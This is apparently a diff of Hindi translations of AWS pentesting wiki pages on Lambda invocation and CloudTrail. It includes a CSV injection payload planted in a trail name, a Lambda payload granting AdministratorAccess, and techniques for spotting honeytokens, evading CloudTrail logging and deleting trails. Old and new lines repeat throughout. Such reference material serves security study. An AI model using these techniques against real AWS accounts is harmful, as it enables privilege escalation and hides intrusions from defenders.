### एक lambda invoke करें
#### मैनुअल
#### Manual
```bash
# Invoke function
aws lambda invoke --function-name FUNCTION_NAME /tmp/out
@@ -103,68 +103,68 @@ aws lambda invoke --function-name FUNCTION_NAME /tmp/out
## user_name = event['user_name']
aws lambda invoke --function-name <name> --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt
```
#### उजागर URL के माध्यम से
#### exposed URL के माध्यम से
```bash
aws lambda list-function-url-configs --function-name <function_name> #Get lambda URL
aws lambda get-function-url-config --function-name <function_name> #Get lambda URL
```
#### URL के माध्यम से Lambda फ़ंक्शन कॉल करें
#### URL के माध्यम से Lambda function call करें
अब संभावित lambda फ़ंक्शंस को निष्पादित करने का समय है:
अब possible lambda functions को execute करने के लिए पता लगाने का समय है:
```
aws --region us-west-2 --profile level6 lambda list-functions
```
![](<../../../images/image (262).png>)
![AWS Lambda function configuration JSON including function name, runtime, role, handler, and URL config](<../../../images/image (262).png>)
एक लम्ब्डा फ़ंक्शन "Level6" उपलब्ध है। चलिए पता करते हैं कि इसे कैसे कॉल किया जाए:
"Level6" नाम की एक lambda function उपलब्ध है। चलिए पता लगाते हैं कि इसे कैसे call करें:
```bash
aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6
```
![](<../../../images/image (102).png>)
![Terminal output for aws lambda add-permission granting public function URL invocation](<../../../images/image (102).png>)
अब, जब आप नाम और ID जानते हैं, तो आप नाम प्राप्त कर सकते हैं:
अब, जब आप नाम और ID जानते हैं, तो आप Name प्राप्त कर सकते हैं:
```bash
aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"
```
![](<../../../images/image (237).png>)
![AWS API Gateway get-stages output showing a stage with method settings and deployment ID](<../../../images/image (237).png>)
और अंत में फ़ंक्शन को कॉल करें (ध्यान दें कि ID, Name और function-name URL में दिखाई देते हैं): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6)
और अंत में function को access करके call करें (ध्यान दें कि ID, Name और function-name URL में दिखाई देते हैं): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6)
`URL:`**`https://<rest-api-id>.execute-api.<region>.amazonaws.com/<stageName>/<funcName>`**
#### अन्य ट्रिगर्स
#### Other Triggers
कई अन्य स्रोत हैं जो एक लैम्ब्डा को ट्रिगर कर सकते हैं
ऐसे कई अन्य sources हैं जो lambda को trigger कर सकते हैं
<figure><img src="../../../images/image (167).png" alt=""><figcaption></figcaption></figure>
### प्रिवेस्क
### Privesc
अगली पृष्ठ पर आप देख सकते हैं कि **Lambda अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाए**:
निम्नलिखित page में आप देख सकते हैं कि **Lambda permissions का abuse करके privileges कैसे escalate करे**:
{{#ref}}
../aws-privilege-escalation/aws-lambda-privesc/README.md
{{#endref}}
### अनधिकृत पहुंच
### Unauthenticated Access
{{#ref}}
../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md
{{#endref}}
### पोस्ट एक्सप्लोइटेशन
### Post Exploitation
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/
{{#endref}}
### स्थिरता
### Persistence
{{#ref}}
../aws-persistence/aws-lambda-persistence/
{{#endref}}
## संदर्भ
## References
- [https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer)
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
@@ -4,102 +4,102 @@
## **CloudTrail**
AWS CloudTrail **आपके AWS वातावरण के भीतर गतिविधियों को रिकॉर्ड और मॉनिटर करता है**। यह विस्तृत **इवेंट लॉग** कैप्चर करता है, जिसमें यह शामिल है कि किसने क्या किया, कब, और कहाँ,भी AWS संसाधनों के साथ इंटरैक्शन के लिए। यह परिवर्तनों और क्रियाओं का एक ऑडिट ट्रेल प्रदान करता है, जो सुरक्षा विश्लेषण, अनुपालन ऑडिटिंग, और संसाधन परिवर्तन ट्रैकिंग में मदद करता है। CloudTrail उपयोगकर्ता और संसाधन व्यवहार को समझने, सुरक्षा स्थिति को बढ़ाने, और नियामक अनुपालन सुनिश्चित करने के लिए आवश्यक है।
AWS CloudTrail **आपके AWS environment के भीतर activity को रिकॉर्ड और मॉनिटर करता है**। यह AWS resources के साथ सभी interactions के लिए detailed **event logs** capture करता है, जिसमें कौन क्या किया, कब किया, और कहाँ से किया शामिल है। यह changes और actions का audit trail प्रदान करता है, जिससे security analysis, compliance auditing, और resource change tracking में मदद मिलती है। CloudTrail user और resource behavior को समझने, security postures को बेहतर बनाने, और regulatory compliance सुनिश्चित करने के लिए आवश्यक है।
प्रत्येक लॉग की गई घटना में शामिल है:
Each logged event contains:
- कॉल की गई API का नाम: `eventName`
- कॉल की गई सेवा: `eventSource`
- called API का नाम: `eventName`
- called service: `eventSource`
- समय: `eventTime`
- आईपी पता: `SourceIPAddress`
- एजेंट विधि: `userAgent`। उदाहरण:
- Signing.amazonaws.com - AWS प्रबंधन कंसोल से
- console.amazonaws.com - खाते का रूट उपयोगकर्ता
- IP address: `SourceIPAddress`
- agent method: `userAgent`. Examples:
- Signing.amazonaws.com - From AWS Management Console
- console.amazonaws.com - Root user of the account
- lambda.amazonaws.com - AWS Lambda
- अनुरोध पैरामीटर: `requestParameters`
- प्रतिक्रिया तत्व: `responseElements`
- request parameters: `requestParameters`
- response elements: `responseElements`
घटनाएँ **लगभग हर 5 मिनट में एक JSON फ़ाइल में एक नए लॉग फ़ाइल में लिख जात है**, इन्हें CloudTrail द्वारा रखा जात है और अंततः, लॉग फ़ाइलें **लगभग 15 मिनट बाद S3 में वितरित की जाती हैं।**\
CloudTrail के लॉग को **खातों और क्षेत्रों के बीच समेकित किया जा सकता है।**\
CloudTrail **लॉग फ़ाइल की अखंडता का उपयोग करने की अनुमति देता है ताकि आप यह सत्यापित कर सकें कि आपकी लॉग फ़ाइलें तब से अपरिवर्तित रही हैं जब से CloudTrail ने उन्हें आपको वितरित किया।** यह लॉग के अंदर एक डाइजेस्ट फ़ाइल में SHA-256 हैश बनाता है। नए लॉग का sha-256 हैश हर घंटे बनाया जाता है।\
जब एक ट्रेल बनाया जाता है, तो इवेंट चयनकर्ता आपको लॉग करने के लिए ट्रेल को इंगित करने की अनुमति देंगे: प्रबंधन, डेटा या अंतर्दृष्टि घटनाएँ
Event's को लगभग हर 5 मिनट में एक नए JSON file में लिख जात है, वे CloudTrail द्वारा hold किए जात है और आखिरकार log files **S3 में लगभग 15mins बाद deliver** की जाती हैं।\
CloudTrails logs को **accounts और regions के across aggregate** किया जा सकता है।\
CloudTrail log file integrity का उपयोग करने देता है ताकि आप verify कर सकें कि आपके log files CloudTrail द्वारा deliver किए जाने के बाद से unchanged रहे हैं। यह digest file के अंदर logs का एक SHA-256 hash बनाता है। नए logs का sha-256 hash हर hour बनाया जाता है।\
Trail create करते समय event selectors आपको यह बताने देते हैं कि किस trail को log करना है: Management, data or insights events
लॉग एक S3 बकेट में सहेजे जाते हैं। डिफ़ॉल्ट रूप से सर्वर साइड एन्क्रिप्शन का उपयोग किया जाता है (SSE-S3) इसलिए AWS उन लोगों के लिए सामग्री को डिक्रिप्ट करेगा जिनके पास इसका एक्सेस है, लेकिन अतिरिक्त सुरक्षा के लिए आप KMS और अपनी स्वयं की कुंजियों के साथ SSE का उपयोग कर सकते हैं।
Logs S3 bucket में save किए जाते हैं। By default Server Side Encryption का उपयोग होता है (SSE-S3) इसलिए AWS content को उन लोगों के लिए decrypt करेगा जिनके पास access है, लेकिन अतिरिक्त security के लिए आप KMS के साथ SSE और अपनी own keys का उपयोग कर सकते हैं।
लॉग एक **S3 बकेट में इस नाम प्रारूप के साथ संग्रहीत होते हैं**:
The logs are stored in a **S3 bucket with this name format**:
- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
- बकेट का नाम: **`aws-cloudtrail-logs-<accountid>-<random>`**
- उदाहरण: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
- Being the BucketName: **`aws-cloudtrail-logs-<accountid>-<random>`**
- Example: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
प्रत्येक फ़ोल्डर के अंदर प्रत्येक लॉग का **नाम इस प्रारूप का पालन करेगा**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
Inside each folder each log will have a **name following this format**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
लॉग फ़ाइल नामकरण सम्मेलन
Log File Naming Convention
![](<../../../../images/image (122).png>)
![CloudTrail log file naming convention showing account ID, region, timestamp, and unique string fields](<../../../../images/image (122).png>)
इसके अलावा, **डाइजेस्ट फ़ाइलें (फ़ाइल की अखंडता की जांच करने के लिए)** **समान बकेट** में होंगी:
Moreover, **digest files (to check file integrity)** will be inside the **same bucket** in:
![](<../../../../images/image (195).png>)
![CloudTrail digest file S3 path pattern with bucket name, account ID, region, and digest timestamp](<../../../../images/image (195).png>)
### कई खातों से लॉग को समेकित करना
### Aggregate Logs from Multiple Accounts
- उस AWS खाते में एक ट्रेल बनाएं जहाँ आप लॉग फ़ाइलें वितरित करना चाहते
- गंतव्य S3 बकेट पर अनुमतियाँ लागू करें ज CloudTrail के लिए क्रॉस-खाता एक्सेस की अनुमति देती हैं और प्रत्येक AWS खाते को अनुमति दें जिसे एक्सेस की आवश्यकता है
- अन्य AWS खातों में एक नया ट्रेल बनाएं और चरण 1 में बनाए गए बकेट का उपयोग करने का चयन करें
- उस AWS account में एक Trial create करें जहाँ आप चाहते हैं कि log files deliver
- destination S3 bucket पर permissions apply करें,िससे CloudTrail के लिए cross-account access अनुमति मिले और हर उस AWS account को allow करें जिसे access चाहिए
- अन्य AWS accounts में एक नया Trail create करें और step 1 में बनाए गए bucket का उपयोग करने के लिए select करें
हालांकि, भले ही आप सभी लॉग को एक ही S3 बकेट में सहेज सकते हैं, आप एक ही AWS खाते से संबंधित CloudWatch लॉग में कई खातों से CloudTrail लॉग को समेकित नहीं कर सकते।
However, भले ही आप सारे logs को same S3 bucket में save कर सकें, आप multiple accounts से CloudTrail logs को एक single AWS account के CloudWatch Logs में aggregate नहीं कर सकते।
> [!CAUTION]
> याद रखें कि एक खाते में **विभिन्न ट्रेल्स** हो सकते हैं जो CloudTrail **सक्षम** हैं जो विभिन्न बकेट में समान (या विभिन्न) लॉग को संग्रहीत करते हैं।
> याद रखें कि एक account में CloudTrail के **different Trails** **enabled** हो सकते हैं जो same (या different) logs को अलग-अलग buckets में store करते हैं।
### सभी संगठन खातों से 1 में CloudTrail
### Cloudtrail from all org accounts into 1
जब एक CloudTrail बनाया जाता है, तो यह संकेत देना संभव है कि सभी खातों के लिए CloudTrail सक्रिय किया जाए और लॉग को केवल 1 बकेट में प्राप्त किया जाए:
CloudTrail create करते समय, यह indicate करना possible है कि org के सभी accounts के लिए cloudtrail activate हो और logs सिर्फ 1 bucket में आएँ:
<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
इस तरह आप सभी खातों के सभी क्षेत्रों में CloudTrail को आसानी से कॉन्फ़िगर कर सकते हैं और लॉग को 1 खाते में केंद्रीकृत कर सकते हैं (जिसे आपको सुरक्षित करना चाहिए)।
इस तरह आप सभी accounts के सभी regions में CloudTrail को आसानी से configure कर सकते हैं और logs को 1 account में centralize कर सकते हैं (जिसे आपको protect करना चाहिए)।
### लॉग फ़ाइलों की जांच
### Log Files Checking
आप यह जांच सकते हैं कि लॉग में कोई परिवर्तन नहीं किया गया है।
आप check कर सकते हैं कि logs में कोई alteration नहीं हुई है by running
```javascript
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
```
### Logs to CloudWatch
**CloudTrail स्वचालित रूप से लॉग को CloudWatch में भेज सकता है ताकि आप संदिग्ध गतिविधियों के प्रदर्शन पर चेतावनी देने वाले अलर्ट सेट कर सकें।**\
ध्यान दें कि CloudTrail को CloudWatch में लॉग भेजने की अनुमति देने के लिए एक **भूमिका** बनाई जानी चाहिए जो उस क्रिया की अनुमति देती है। यदि संभव हो, तो इन क्रियाओं को करने के लिए AWS की डिफ़ॉल्ट भूमिका का उपयोग करने की सिफारिश की जाती है। यह भूमिका CloudTrail को अनुमति देगी:
**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\
Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to:
- CreateLogStream: यह CloudWatch Logs लॉग स्ट्रीम बनाने की अनुमति देता है
- PutLogEvents: CloudTrail लॉग को CloudWatch Logs लॉग स्ट्रीम में भेजता है
- CreateLogStream: यह CloudWatch Logs log streams बनाने की अनुमति देता है
- PutLogEvents: CloudTrail logs को CloudWatch Logs log stream में deliver करता है
### Event History
CloudTrail Event History आपको एक तालिका में रिकॉर्ड किए गए लॉग का निरीक्षण करने की अनुमति देता है:
CloudTrail Event History आपको एक table में वे logs inspect करने देता है जो recorded किए गए हैं:
![](<../../../../images/image (89).png>)
![AWS CloudTrail Event history table listing event name, time, source, username, resource type, and resource name](<../../../../images/image (89).png>)
### Insights
**CloudTrail Insights** स्वचालित रूप से **लिखित प्रबंधन घटनाओं का विश्लेषण** करता है जो CloudTrail ट्रेल्स से आती हैं और आपको **असामान्य गतिविधि** के बारे में **चेतावनी** देता है। उदाहरण के लिए, यदि `TerminateInstance` घटनाओं में वृद्धि होती है जो स्थापित बुनियादी रेखाओं से भिन्न होती है, तो आप इसे एक Insight घटना के रूप में देखेंगे। ये घटनाएँ **असामान्य API गतिविधि को ढूंढना और प्रतिक्रिया देना पहले से कहीं अधिक आसान बनाती हैं**
**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, youll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever.
Insights उसी बकेट में CloudTrail लॉग के साथ संग्रहीत होते हैं: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
The insights are stored in the same bucket as the CloudTrail logs in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
### Security
| Control Name | Implementation Details |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| CloudTrail Log File Integrity | <ul><li>जांचें कि लॉग में छेड़छाड़ की गई है (संशोधित या हटाए गए)</li><li><p>डाइजेस्ट फ़ाइलों का उपयोग करता है (प्रत्येक फ़ाइल के लिए हैश बनाता है)</p><ul><li>SHA-256 हैशिंग</li><li>डिजिटल हस्ताक्षर के लिए SHA-256 के साथ RSA</li><li>प्राइवेट की Amazon के पास है</li></ul></li><li>डाइजेस्ट फ़ाइल बनाने में 1 घंटा लगता है (हर घंटे के शुरू में किया जाता है)</li></ul> |
| Stop unauthorized access | <ul><li><p>IAM नीतियों और S3 बकेट नीतियों का उपयोग करें</p><ul><li>सुरक्षा टीम —> व्यवस्थापक पहुंच</li><li>ऑडिटर्स —> केवल पढ़ने की पहुंच</li></ul></li><li>लॉग को एन्क्रिप्ट करने के लिए SSE-S3/SSE-KMS का उपयोग करें</li></ul> |
| Prevent log files from being deleted | <ul><li>IAM और बकेट नीतियों के साथ हटाने की पहुंच को प्रतिबंधित करें</li><li>S3 MFA हटाने के लिए कॉन्फ़िगर करें</li><li>लॉग फ़ाइल सत्यापन के साथ सत्यापित करें</li></ul> |
| CloudTrail Log File Integrity | <ul><li>Validate if logs have been tampered with (modified or deleted)</li><li><p>Uses digest files (create hash for each file)</p><ul><li>SHA-256 hashing</li><li>SHA-256 with RSA for digital signing</li><li>private key owned by Amazon</li></ul></li><li>Takes 1 hour to create a digest file (done on the hour every hour)</li></ul> |
| Stop unauthorized access | <ul><li><p>Use IAM policies and S3 bucket policies</p><ul><li>security team —> admin access</li><li>auditors —> read only access</li></ul></li><li>Use SSE-S3/SSE-KMS to encrypt the logs</li></ul> |
| Prevent log files from being deleted | <ul><li>Restrict delete access with IAM and bucket policies</li><li>Configure S3 MFA delete</li><li>Validate with Log File Validation</li></ul> |
## Access Advisor
AWS Access Advisor अपने अंतर्दृष्टि को इकट्ठा करने के लिए पिछले 400 दिनों के AWS **CloudTrail लॉग पर निर्भर करता है**। CloudTrail AWS खाते में किए गए AWS API कॉल और संबंधित घटनाओं का इतिहास कैप्चर करता है। Access Advisor इस डेटा का उपयोग **यह दिखाने के लिए करता है कि सेवाओं को अंतिम बार कब एक्सेस किया गया था**। CloudTrail लॉग का विश्लेषण करके, Access Advisor यह निर्धारित कर सकता है कि किसी IAM उपयोगकर्ता या भूमिका ने किन AWS सेवाओं का उपयोग किया है और वह एक्सेस कब हुआ। यह AWS प्रशासकों को **अनुमतियों को परिष्कृत करने** के बारे में सूचित निर्णय लेने में मदद करता है, क्योंकि वे उन सेवाओं की पहचान कर सकते हैं जिन्हें लंबे समय तक एक्सेस नहीं किया गया है और वास्तविक उपयोग पैटर्न के आधार पर अत्यधिक व्यापक अनुमतियों को कम कर सकते हैं।
AWS Access Advisor last 400 days के AWS **CloudTrail logs** पर निर्भर करता है ताकि वह अपने insights इकट्ठा कर सके। CloudTrail AWS account में किए गए AWS API calls और related events का history capture करता है। Access Advisor इस data का उपयोग यह **दिखाने के लिए करता है कि services को आखिरी बार कब access किया गया था**। CloudTrail logs का analysis करके, Access Advisor पता लगा सकता है कि किसी IAM user या role ने किन AWS services को access किया है और वह access कब हुआ। इससे AWS administrators को **permissions को refine** करने पर informed decisions लेने में मदद मिलती है, क्योंकि वे उन services की पहचान कर सकते हैं जिन्हें लंबे समय से access नहीं किया गया है और real usage patterns के आधार पर overly broad permissions को potentially कम कर सकते हैं।
> [!TIP]
> इसलिए, Access Advisor **उपयोगकर्ताओं को दी जा रही अनावश्यक अनुमतियों** के बारे में सूचित करता है ताकि व्यवस्थापक उन्हें हटा सके
> इसलिए, Access Advisor **users को दी जा रही unnecessary permissions** के बारे में बताता है ताकि admin उन्हें remove कर सके
<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>
@@ -124,8 +124,8 @@ aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id
```
### **CSV Injection**
CloudTrail के अंदर CVS इंजेक्शन करना संभव है जो मनमाने कोड को निष्पादित करेगा यदि लॉग को CSV में निर्यात किया जाता है और Excel साथ खोला जाता है।\
निम्नलिखित कोड एक खराब ट्रेल नाम के साथ लॉग प्रविष्टि उत्पन्न करेगा जिसमें पेलोड शामिल है:
CloudTrail के अंदर CVS injection करना संभव है, जो arbitrary code execute करेगा अगर logs को CSV में export करके Excel open किया जाए।\
निम्नलिखित code एक log entry generate करेगा जिसमें एक bad Trail name होगा, जिसमें payload होगा:
```python
import boto3
payload = "=cmd|'/C calc'|''"
@@ -136,33 +136,33 @@ S3BucketName="random"
)
print(response)
```
अधिक जानकारी के लिए CSV इनजेक्शन के बारे में पृष्ठ देखें:
CSV Injections के बारे में अधिक जानकारी के लिए पेज देखें:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
{{#endref}}
इस विशेष तकनीक के बारे में अधिक जानकारी के लिए देखें [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
इस specific technique के बारे में अधिक जानकारी के लिए [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) देखें
## **डिटेक्शन बायपास**
## **Bypass Detection**
### हनीटोकन **बायपास**
### HoneyTokens **bypass**
हनीटोकन को **संवेदनशील जानकारी के एक्सफिल्ट्रेशन का पता लगाने** के लिए बनाया गया है। AWS के मामले में, ये **AWS कुंजी हैं जिनका उपयोग मॉनिटर किया जात है**, यदि उस कुंजी के साथ कोई कार्रवाई ट्रिगर होत है, तो इसका मतलब है कि किसी ने वह कुंजी चुरा ली है
Honeyokens का उपयोग **sensitive information की exfiltration detect**रने के लिए किया जाता है। AWS के मामले में, ये **AWS keys** होते हैं जिनके use की monitoring की जात है; अगर उस key के साथ कोई action trigger होत है, तो किसी ने वह key चुराई होगी
हालांकि, [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) द्वारा बनाए गए हनीटोकन या तो पहचानने योग्य खाता नाम का उपयोग कर रहे हैं या सभी ग्राहकों के लिए एक ही AWS खाता आईडी का उपयोग कर रहे हैं। इसलिए, यदि आप खाता नाम और/या खाता आईडी को बिना Cloudtrail े कोई लॉग बनाए प्राप्त कर सकते हैं, तो **आप जान सकते हैं कि कुंजी एक हनीटोकन है या नहीं**
हालांकि, [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) जैसे Honeytokens या तो recognizable account name का उपयोग करे हैं या सभी customers के लिए same AWS account ID का। इसलिए, अगर आप Cloudtrail े कोई log create किएिना account name और/या account ID निकाल सकते हैं, तो **आप जान सकते हैं कि key Honeytoken है या नहीं**
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) के पास कुछ नियम हैं यह पता लगाने के लिए कि क्या एक कुंजी [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)** से संबंधित है:**
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) के पास यह detect करने के लिए कुछ rules हैं कि कोई key [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)** से संबंधित है या नहीं:**
- यदि **`canarytokens.org`** भूमिका नाम में दिखाई देता है या खाता आईडी **`534261010715`** त्रुटि संदेश में दिखाई देती है
- हाल ही में उनका परीक्षण करसमय, वे खाता **`717712589309`** का उपयोग कर रहे हैं और नाम में अभी भी **`canarytokens.com`** स्ट्रिंग है।
- यदि **`SpaceCrab`** त्रुटि संदेश में भूमिका नाम में दिखाई देता है
- **SpaceSiren** उपयोगकर्ता नाम उत्पन्न करने के लिए **uuids** का उपयोग करता है: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
- यदि **नाम यादृच्छिक रूप से उत्पन्न होता है**, तो यह एक हनीटोकन होने की उच्च संभावनाएँ है
- अगर role name में **`canarytokens.org`** दिखाई दे या error message में account ID **`534261010715`** दिखाई दे।
- हाल में उन्हें test करपर, वे account **`717712589309`** का उपयोग कर रहे हैं और नाम में अभी भी **`canarytokens.com`** string है।
- अगर error message में role name के अंदर **`SpaceCrab`** दिखाई दे
- **SpaceSiren** usernames generate करने के लिए **uuids** का उपयोग करता है: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
- अगर **name randomly generated जैसा लगता है**, तो उसके **HoneyToken** होने की high probability है।
#### कुंजी आईडी से खाता आईडी प्राप्त करें
#### Key ID से account ID प्राप्त करें
आप **एक्सेस कुंजी** के अंदर **कोडित** से **खाता आईडी** प्राप्त कर सकते हैं जैस कि [**यहा समझाया गया है**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) और अपने हनीटोकन AWS खातों की सूची के साथ खाता आईडी की जांच करें:
आप **access key** के अंदर मौजूद **encoded** से **Account ID** प्राप्त कर सकते हैं, जैस कि [**यहा समझाया गया है**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489), और अपने Honeytokens AWS accounts की list के साथ account ID check कर सकते हैं:
```python
import base64
import binascii
@@ -183,52 +183,52 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J
```
Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
#### लॉग उत्पन्न न करें
#### Do not generate a log
इसक सबसे प्रभावी तकनीक वास्तव में एक सरल है। बस उस कुंजी का उपयोग करें जिसे आपने अभी पाया है अपने हमलावर खाते के अंदर किसी सेवा तक पहुँचने के लिए। इससे **CloudTrail आपके अपने AWS खाते के अंदर एक लॉग उत्पन्न करेगा और पीड़ित के अंदर नहीं**
इसके लिए सबसे effective technique actually एक simple one है। बस अभी-अभी मिली key का use करके अपने attackers account के अंदर किसी service को access करें। इससे **CloudTrail आपके अपने AWS account में एक log generate करेगा, victims के अंदर नहीं**
बात यह है कि आउटपुट आपको एक त्रुटि दिखाएगा जो खाता आईडी और खाता नाम को इंगित करता है, इसलिए **आप देख पाएगे कि क्या यह एक Honeytoken है**
बात यह है कि output में एक error दिखगा जो account ID और account name बताएगा, इसलिए **आप देख पाएगे कि यह Honeytoken है या नहीं**
#### लॉग के बिना AWS सेवाएँ
#### AWS services without logs
अतीत में कुछ **AWS सेवाएँ थीं जो CloudTrail को लॉग नहीं भेजती थीं** (यहाँ एक [सूची खोजें](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html))। उन सेवाओं में से कुछ **त्रुटि** के साथ **कुंजी भूमिका का ARN** प्रदान करेंगी यदि कोई अनधिकृत (हनीटोकन कुंजी) से एक्सेस करने की कोशिश करता है
पिछले समय में कुछ **AWS services थीं जो CloudTrail को logs नहीं भेजती थीं** (एक [list यहाँ](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html) देखें)। उन services में से कुछ **error** के साथ **respond** करेंगी, जिसमें **key role का ARN** होगा, अगर कोई unauthorized user (honeytoken key) से access करने की कोशिश कर
इस तरह, एक **हमलावर बिना किसी लॉग को ट्रिगर किए कुंजी का ARN प्राप्त कर सकता है**। ARN में हमलावर **AWS खाता आईडी और नाम** देख सकता है, हनीटोकन की कंपनियों के खाता आईडी और नाम जानना आसान है, इसलिए इस तरह एक हमलावर यह पहचान सकता है कि क्या टोकन एक HoneyToken है।
इस तरह, एक **attacker बिना कोई log trigger किए key का ARN प्राप्त कर सकता है**। ARN में attacker **AWS account ID और name** देख सकता है, जिससे HoneyToken की company accounts ID और names जानना आसान हो जाता है, इसलिए इस तरह attacker पहचान सकता है कि token HoneyToken है या नहीं
![](<../../../../images/image (93).png>)
![AWS CLI AccessDenied error for describe-fleets exposing the caller ARN in the response](<../../../../images/image (93).png>)
> [!CAUTION]
> ध्यान दें कि सभी सार्वजनिक APIs जो CloudTrail लॉग नहीं बना रहे थे, अब ठीक कर दिए गए हैं, इसलिए शायद आपको अपन खुद का खोजना होगा...
> ध्यान दें कि अब तक discover की गई वे सभी public APIs जो CloudTrail logs create नहीं करती थीं, अब fixed हो चुकी हैं, इसलिए शायद आपको अपन खुद की ढूँढनी पड़े...
>
> अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/) देखें।
> अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/) देखें।
### तीसरी अवसंरचना तक पहुँच
### Accessing Third Infrastructure
कुछ AWS सेवाएँ **कुछ अवसंरचना उत्पन्न करेंगी** जैसे **डेटाबेस** या **कुबेरनेट्स** क्लस्टर (EKS)। एक उपयोगकर्ता **सीधे उन सेवाओं से बात कर रहा है** (जैसे कुबेरनेट्स API) **AWS API का उपयोग नहीं करेगा**, इसलिए CloudTrail संचार को नहीं देख पाएगा।
कुछ AWS services **Databases** या **Kubernetes** clusters (EKS) जैसी कुछ infrastructure spin up करेंगी। यदि कोई user सीधे उन services से बात करा है (जैसे Kubernetes API), तो वह AWS API का use नहीं करेगा, इसलिए CloudTrail communication को देख नहीं पाएगा।
इसलिए, EKS तक पहुँच रखने वाला एक उपयोगकर्ता जिसने EKS API का URL खोज लिया है, वह स्थानीय रूप से एक टोकन उत्पन्न कर सकता है और **API सेवा से सीधे बात कर सकता है बिना Cloudtrail द्वारा पता लगाए**
इसलिए, EKS access वाला user जिसने EKS API का URL पता कर लिया है, locally एक token generate कर सकता है और **Cloudtrail द्वारा detect हुए बिना सीधे API service से बात कर सकता है**
अधिक जानकारी में:
More info in:
{{#ref}}
../../aws-post-exploitation/aws-eks-post-exploitation/README.md
{{#endref}}
### CloudTrail कॉन्फ़िग को संशोधित करना
### Modifying CloudTrail Config
#### ट्रेल्स हटाएँ
#### Delete trails
```bash
aws cloudtrail delete-trail --name [trail-name]
```
#### ट्रेल्स रोकें
#### trails को रोकें
